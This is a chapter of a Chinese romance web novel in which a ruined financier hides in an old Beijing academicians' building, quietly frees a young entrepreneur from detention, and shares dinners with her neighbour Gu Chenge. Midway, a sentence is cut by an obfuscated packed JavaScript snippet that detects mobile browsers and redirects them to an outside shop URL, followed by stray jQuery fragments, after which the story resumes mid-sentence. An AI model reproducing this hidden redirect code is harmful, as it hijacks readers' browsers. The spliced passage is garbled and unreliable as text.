禁市令生效后的第一个月。


    深冬，北京海淀。


    天早灰蓝，偏未晚，只是有一场大雪刚刚洗刷过这座遍布陈迹却又日新月异的城市。空气干冷清冽，四周的建筑被积雪映衬得有些发亮。


    一辆挂着京A8牌的黑色奥迪，滑进了中关村那片被光秃秃的白杨树包围的、灰砖苏式老楼区——中科院最早的一批院士楼。


    车停在了一栋统一的红色木窗的三层小楼前。


    辰知星熄了火。


    「到了。」她说，「我外婆留下的老房子，列为历史文物后，一直空着。你先在这儿住着。」


    殷灿言看着车窗外。


    几辆老旧的二八大杠自行车，靠在墙根下。楼下花坛边，几个穿着厚棉袄、戴着红袖箍的大妈，一边晒太阳，一边盯着这辆陌生的汽车，看见车上驾驶座上的人是熟悉面孔，才放心转头继续嗑瓜子。单元楼门口，一个穿着军大衣、胖乎乎的大爷，正端着一个掉瓷的搪瓷缸子喝茶。


    这里，没有门童，没有门禁，只有一种上个世纪的秩序。


    「下车吧。」辰知星推开了车门，「没人知道你在这里。没有记者，没有追债的。」


    她从后备箱，取下了殷灿言那个小小的登机箱。殷灿言推开车门。寒风瞬间灌进了她单薄的羊绒大衣里。她下意识地裹紧了衣领。


    辰知星将一串老式的黄铜钥匙，塞进了她的手里。「14号楼，201。水电煤都开通了。冰箱是空的，想吃什么，自己去买。」


    她顿了顿。


    「或者，等你饿得实在受不了的时候，也可以……去敲敲隔壁的门。」


    殷灿言的动作一顿。她抬起头，看着辰知星。


    辰知星没有解释。她只是对着殷灿言身后，那扇同样深红色的、斑驳的202房门，抬了抬下巴。她的嘴角，勾起一抹玩味的弧度。


    「毕竟——」她压低了声音，「我听说，咱们那位顾小爷，最近……好像挺闲的。」


    殷灿言推开了201室的门。一股混合着老家具的木头味、樟脑丸和冰冷尘埃的气息，扑面而来。


    房间里的陈设很简单。磨得发亮的暗红色松木地板，白墙上挂着一张毛□□。没有中央空调，只有墙角几根粗大的、烧得滚烫、发出金属声响的铸铁暖气片，散发着惊人的热量。阳台很小，正对着楼下萧瑟的花园。


    对于住惯了恒景一品的殷灿言来说。这里是另一个世界。


    她将登机箱放在墙角。她没有收拾，只是走到阳台前，用力推开了那扇有些生锈的玻璃移门，寒风涌了进来。


    她看到，隔壁202的阳台刚亮起灯，晾衣绳上，挂着几件刚刚洗过、还在滴水的白衬衫，和一件军绿色的俄式大衣。


    透过阳台旁的玻璃门，她看到一个男人，正侧身对着她，站在小小的厨房里切菜。


    他穿着一件深灰色的、手肘处磨得发亮的旧毛衣。身旁的小燃气灶上，一口黑色的铁锅里，正「咕嘟咕嘟」地冒着热气。


    风把那股味道送了过来，混合了番茄、牛腩和香料的香气。


    菜刀与砧板碰撞的声音，规律，沉稳。


    殷灿言在阳台上站了许久，久到手脚都快要失去知觉。


    胃里那股因饥饿产生的灼烧感，涌了上来。


    此刻的她身无分文。


    那笔两亿的转账，清空了她的个人账户，「PolarisCapital」的对公账户，也被冻结。她的钱包里，只剩下几枚硬币和几张无法使用的信用卡，以及那张过期的研讨会入场券。


    她终于动了。


    她走回房间，穿上外套，走出了门，站在202的门口，抬起手，悬在半空。


    就在这时，202的门，从里面打开了。


    顾臣戈站在门里。


    他穿着那件旧毛衣，手里还拿着一把锅铲，身上带着一股好闻的食物香气。


    他看着她，脸上没有任何惊讶，仿佛他一直在等这声敲门声，或者，等她在门口犹豫的脚步声。


    他没有说话，只是侧过身，让开了门口的位置。


    然后，他弯下腰，从鞋柜里拿出一双崭新的、粉色的女士棉拖鞋。轻轻地，放在了她的脚边。


    殷灿言低头看着那双拖鞋，又抬头，看着已经转身回到厨房的背影。


    昏黄的灯光下，他在切土豆，动作专注，不紧不慢。


    那个背影，比她在资本市场上见过的任何一个背影，都更让人觉得……实在。


    临近年关。


    北京的雪借着夜色掩护，落了下来。


    雪粒细密，无声地填进干枯枝头的缝隙，覆上灰色屋顶的棱角。这座城市坚硬的、由钢筋水泥构筑的「规则」，正被这层柔软的洁白一点点抹平。


    中关村，院士楼，201室。


    老式铸铁暖气片发出轻微的嘶嘶声，将室内烘得燥热。


    殷灿言身着一件宽大的米白色粗棒针毛衣，盘腿坐在羊毛地毯上。面前不再是闪烁着红绿K线的彭博终端机，而是一台漆面斑驳的家用笔记本。屏幕幽蓝的光映在她脸上，文档光标在「中东能源项目历史遗留问题解决方案」的标题后闪烁。


    第三百二十七次修改。


    光标每一次跳动，都像是在计算她这几个月被简化到极致的生活：白日拆解那份带着血腥味的「赎罪券」，夜晚循着葱花爆锅的香气，去隔壁那扇门里寻找一点人间的温度。


    这里没有华尔街的硝烟，她是个被剥夺了所有「杠杆」的囚徒，在欲望钩织的牢笼里服刑。


    黑色加密手机在木地板上震动，发出一声短促、尖锐的蜂鸣，划破了室内的凝滞。


    屏幕亮起。


    没有文字，只有一个鲜红的圆圈，箍住地图上那个灰色的坐标点，以及那个名字。


    「朝阳区看守所」


    「蒋一凡」


    殷灿言敲击键盘的手指僵在半空，瞳孔骤然收缩。


    她抓起手机，指节因用力而泛白，迅速拨通了辰知星的号码。


    听筒里传来一声轻响，接通了。


    辰知星的声音平稳如水，背景里隐约传来翻动纸张的沙沙声，透着一股早有预料的淡漠。


    「……我知道你会打来。」辰知星说道，「那小子太天真，以为由质心做A轮就能天下太平。他那个『社区轻物流』项目，刀尖直接戳进了『四通一达』最后一百米的『加盟商』蛋糕里……甚至不需要高层动手，底下人随便找个『由头』——非法经营，或者偷税漏税，足够让他在里面蹲过这个春节。」


    「能……捞吗？」殷灿言的声音干涩，像是砂纸打磨过喉咙。


    电话那头陷入长久的沉默，只有电流微弱的噪响。


    「灿言……」辰知星的声音沉了下来，第一次剥离了老板的公事公办，露出属于朋友的锋利劝诫，「听我的，别犯傻。」


    「第一，代入『估值模型』，这件事对你是纯粹的『沉没成本』。现在救他，产生不了任何『Alpha收益』，反而会暴露你的坐标，引火烧身。」


    「第二……」辰知星语速放缓，每一个字都像是敲在殷灿言的耳膜上，「那个加盟商背后的资本，和负责『□□大局』的某条线有牵扯。现在是非常时期，伊斯坎达尔·汗那个案子的结果，让上面开始重新翻查恒景东方与顾老的旧案。总之，顾小爷他……正在晋升考察的最关键节点。你现在去捅这个马蜂窝……」


    辰知星截住了话头。


    未尽之言，如刀锋般悬在半空。


    「……不值得。」


    这是辰知星给出的最终判词，冰冷，精确，不容置喙。


    殷灿言垂下手，屏幕的光熄灭了。


    她赤脚走到窗边，额头抵上冰凉的玻璃。哈气在玻璃上晕开一团白雾，模糊了窗外那片被大雪覆盖的寂静世界。


    「不值得。」


    这三个字像是一把钥匙，强行撬开了她记忆深处的闸门。


    玻璃上的倒影似乎扭曲了，变幻成那个漏风的蓝色帐篷。


    那个穿着不合身防护服的年轻人，抬起头，那双布满血丝的眼睛里，燃烧着某种能将人灼伤的火光。那目光越过阶级的鸿沟，刺向对面的她。


    「你们这种人，从宾利车上下来，根本不会懂吧？」


    画面在此刻重叠。


    恒景总部大厦的废墟尘埃中，那位老员工拦住她的去路，佝偻着背，向她发出震耳欲聋的质问。


    「在您的模型里，像我这样的人，是不是……就是那个必须被扣除的、微不足道的折旧成本？」


    殷灿言的手指在玻璃上无意识地划过，留下一道长长的、逐渐消失的水痕。


    她闭上眼，深吸一口气。


    再睁开时，眼底那些属于常人的犹疑与温吞尽数褪去，取而代之的，是那个曾经站在华尔街顶端、在数秒内决定亿万资金流向的操盘手的冷酷。


    计算结束。执行指令。


    她没有再联系任何人。转身回到电脑前，手指飞快地敲击，输入一串冗长的密钥。


    一个名为「Contingency」的加密文件夹弹了出来。


    这是她在离开那片真正的「黑暗森林」前，为自己留下的最后一张底牌。文件夹里躺着的不是数据，而是淤泥——关于某位身居高位的「华尔街之狼」，借由与陈导的关系，同好莱坞女星不便见光的「交易记录」，一份足以让其身败名裂的私账把柄。


    这是最肮脏的筹码，也是最高效的武器。


    她拨通了一个来自洛杉矶的号码。那是她发誓要烂在肚子里的联系人。


    电话接通，听筒里传来一个油滑甜腻、仿佛混杂着雪茄与廉价香水味的声音。


    「……Oh,Coilia,mydear!是什么风，把您这位『高盛女王』，又吹回了我的名利场？」


    「闭嘴。」殷灿言的声音没有任何起伏，像是在宣读一份死亡通知书，「我需要你办一件事。」


    她盯着屏幕上那些足以引发地震的文件，指尖悬在回车键上，随后，重重落下。


    「帮我做一笔，亏本买卖。」


    晚七点。厨房。


    顾臣戈穿着那件袖口磨得发亮的灰色旧毛衣，站在案板前。


    头顶昏黄的灯光打在他的侧脸，勾勒出鼻梁挺直的线条。他低着头，神情专注得像是在拆解一枚炸弹，手中的菜刀却轻盈落下。


    刀刃与木质砧板撞击，切断脆嫩的蒜苗，发出规律而安定的声响，像是这座老房子里独有的心跳。


    殷灿言缩在餐桌一角，像只踢翻鱼缸后试图隐形的小猫。


    她低垂着头，筷子伸进面前那碗热气腾腾的回锅肉里，极尽耐心到近乎强迫症般地，将里面的葱花一根根挑出来，堆在旁边的空碟里。


    电视机里，晚间新闻的主播字正腔圆。


    「……日前，我市朝阳区公安分局接群众举报，成功打掉一个以『社区物流』为名进行非法集资的团伙。主犯蒋某，已被依法……」


    「笃。」


    菜刀切到一半，猛地停住，嵌在砧板上。


    顾臣戈的背影僵了一瞬，切菜的动作出现了一丝极其微小的断裂，但他没有回头，也没有发出任何声音。


    仅仅过了几秒，新闻的内容出现了反转。


    「……另据本台记者最新消息，经深入调查，该案系『乌龙』事件。主犯蒋某因创新的『轻资产物流模式』与传统加盟商产生『商业纠纷』，遭『恶意举报』。目前，蒋某已被无罪释放。相关部门表示，将大力支持此类有助于『民生就业』的小微企业……」


    顾臣戈慢慢直起腰。


    他放下手中的菜刀，在围裙上擦了擦手，转过身，靠在料理台边。他没有说话，只是静静地看着那个还在埋头挑葱花、动作越来越僵硬的女人。


    他在等。


    「为什么？」


    良久，他开口平静，像是在问明天的天气。


    殷灿言挑葱花的筷子终于停住了。


    她没有抬头，视线死死盯着碗里那块色泽红亮的五花肉，用精算师做年终财务总结报告的口吻说道：


    「我的模型里，有一个变量，算错了。」


    「我把他妹妹蒋一平的好感度，计提为一项可利用的无形资产。」她的声音平稳，语速均匀，「但我忘了，把他本人的存在，计入随时可能引爆的或有负债。」


    她终于抬起头。


    那双眼睛里闪烁着刚刚完成一场惊天豪赌后的疲惫，以及一种强制平仓后的释然。她看着顾臣戈，嘴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872474|189948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    角扯出一个极为勉强的、属于交易员的职业化微笑。


    「现在……」她说，「我得平掉这笔账。」


    顾臣戈看着她。


    看着她那双因为撒了一个蹩脚的谎言而不敢直视他的眼睛。


    他看穿了她用生硬的金融术语筑起的防线，看穿了那所谓的「平账」后，那个她自己永远无法计算、也无法消除的系统漏洞。


    他没有拆穿，也没有追问那些她动用的筹码究竟是什么。


    他只是走上前，拿起一双干净的筷子，伸进她的碗里。


    那几根她挑了半天也没挑干净的细碎葱花，被他利落地夹起，送进了自己的口中。


    随后，他将那盘炒得镬气十足、油润鲜香的回锅肉，往她面前轻轻推了推。


    「吃吧。」


    顾臣戈看着她，眼底的严厉散去，嘴角勾起一抹极淡、极轻，却足以融化坚冰的弧度。


    「今天这顿……」他顿了顿，目光沉静如海，「算我的。」


    小小的餐厅里，只有拼成满圆的两张月牙桌，头顶是旧式白炽灯的昏黄。


    窗外，雪又开始下了。无声的雪片拍打在漆黑的玻璃上，瞬间化成水痕，转瞬即逝。


    房间里，只有碗筷清脆的碰撞声，以及电视机里那位女主播字正腔圆地播报着「国际原油价格波动」。空气中，回锅肉的辛辣、蒜苗的清香，与白米饭的温暖蒸汽，混合成一股踏实的家常气味。


    殷灿言低着头，扒拉着碗里的米饭。她试图用这种机械的动作，压制住刚刚那句「平账」的谎言之后，胸腔里依然未完全平复的心跳。


    她夹起一片回锅肉，送入口中。肉片煸得焦香酥脆，豆豉的咸鲜和辣椒的干香在舌尖炸开，这是她记忆中最熟悉、最让人松弛的家常味道。


    然而，那股被油脂放大过度的咸味，却猛地刺激了她的味蕾，让她紧绷的神经找到了一个宣泄口。


    「顾队长！」她抬起头，眼神里迅速覆上一层挑剔与审视，那副属于「甲方」的面具重新就位，声音却让嗔怪里的娇柔却欲盖弥彰，「你这盐，是单位发的，不要钱吗？咸死了。」


    顾臣戈没有露出丝毫愠色。


    他只是拿起自己的筷子，动作自然，从她碗里将那几片她还没来得及动、肥瘦相间、色泽红亮的肉片夹走，放进自己的碗里。


    接着，他用筷子细致地从自己碗里挑出几块精瘦、几乎不带油脂的里脊肉，准确地拨到了她的碗中。


    整个过程，行云流水，没有半点停滞，仿佛他们已经同桌吃饭了很多年。


    「嫌咸，就多吃点饭。」他开口，声音沉稳，像在陈述一个不容置疑的物理定律，「把嘴堵上。」


    殷灿言看着自己碗里，那几块被强行替换过来的瘦肉。


    又抬眼望向对面，那个正就着她嫌弃的肥肉，平静扒着白米饭的男人。


    他身上穿着一件洗得褪色发灰的居家毛衣，袖口因为长时间伏案，已经磨损得起了毛边。


    他身后，那间堆满了各种旧档案和古旧书籍的狭小书房，暴露无遗。这里没有彭博终端机冰冷的蓝光，没有K线图的剧烈跳动，也没有那些能撬动百亿资本的模型残骸。


    只有最普通的、甚至可以说有些清贫的、属于一个学者的日常。


    一股她自己都无法理解的酸楚和巨大的不解，如同冰冷的潮水拍岸，瞬间淹没了她。


    「你明明是顾老的孙子。」


    她开口，声音里带着一种不平的、近乎受伤的质问。


    「你明明可以，有更好的选择。为什么要过这种日子？」她伸手指了指他身后的书房，「被人排挤，去档案室里，整理那些，早就已经死了几十年的故纸堆，你就……甘心吗？」


    顾臣戈吃饭的动作，彻底终止。


    他放下碗筷，拿起桌上的餐巾纸，极其认真地、一丝不苟地，将手指上沾染的油渍拭净。


    然后，他抬起头。


    那双总是隐藏在镜片后的、平静的眼睛，在昏黄的灯光下，显得异常清亮、通透。


    「因为……」他说，「我想，睡个安稳觉。」


    他伸出手指，没有指向任何宏大叙事，也没有指向任何冰冷的数据终端。


    他只是轻轻地点了点朱红色的四方格子窗棂，窗外是那片正在被大雪无声覆盖的、漆黑的夜。


    他收回手，语气沉静：「在这里，房子小点，暖气吵点，工资少点……」


    「但……」他看着她，一字一句，清晰而郑重，「我吃的每一口饭，都是干净的。我说的每一句话，都是真的。」


    「我不用担心，半夜，会有哪个，被我当成『折旧成本』的『幽灵』，来敲我的门。」


    他的声音带着一种无法撼动的笃定：「这比什么，都重要。」


    殷灿言像被一股强大的静电吸住，沉默地盯着他。


    她看着他那双清澈得能倒映出自己所有「肮脏」与「不堪」的眼睛，脑海中失控地闪回着无数个，属于她自己的、漫长而灼烧的失眠之夜。


    恒景一品，顶层公寓，空旷得像一座巨大的停尸间。


    她一个人站在落地窗前，俯视着窗外，陆家嘴那片永不熄灭的、辉煌而又冰冷的灯火矩阵。


    胃里，烈酒与安眠药混合产生的灼烧感，带着化学品的痛苦。


    耳边，无数个被她抛弃或伤害的声音在疯狂地撕扯：母亲的、充满了期盼与失望的叹息；父亲的、充满了懦弱与悔恨的嘶吼；梁景轩的、充满了背叛与绝望的质问；乔珩的、充满了信任与理想的拷问……


    最后，是那个在恒景废墟里，拦住她去路的老员工，向她发出的灵魂审判的那句「折旧成本」。


    她已经很久，很久没有体验过那种叫作「安稳觉」的奢侈品了。


    她低下头，看着自己碗里那几块，被他亲手夹过来的、干净的瘦肉。


    又看了看他碗里，那些被她嫌弃的、沾满了油腻的肥肉。


    她缓缓地伸出筷子，夹起了一块瘦肉，放进了嘴里。


    她细慢地咀嚼着。


    这一次，她没有尝到任何味道。


    咸，或是不咸，已经不重要。


    她只觉得，自己的眼睛，被厨房里那点昏黄的、温暖的灯光，刺得有些发酸。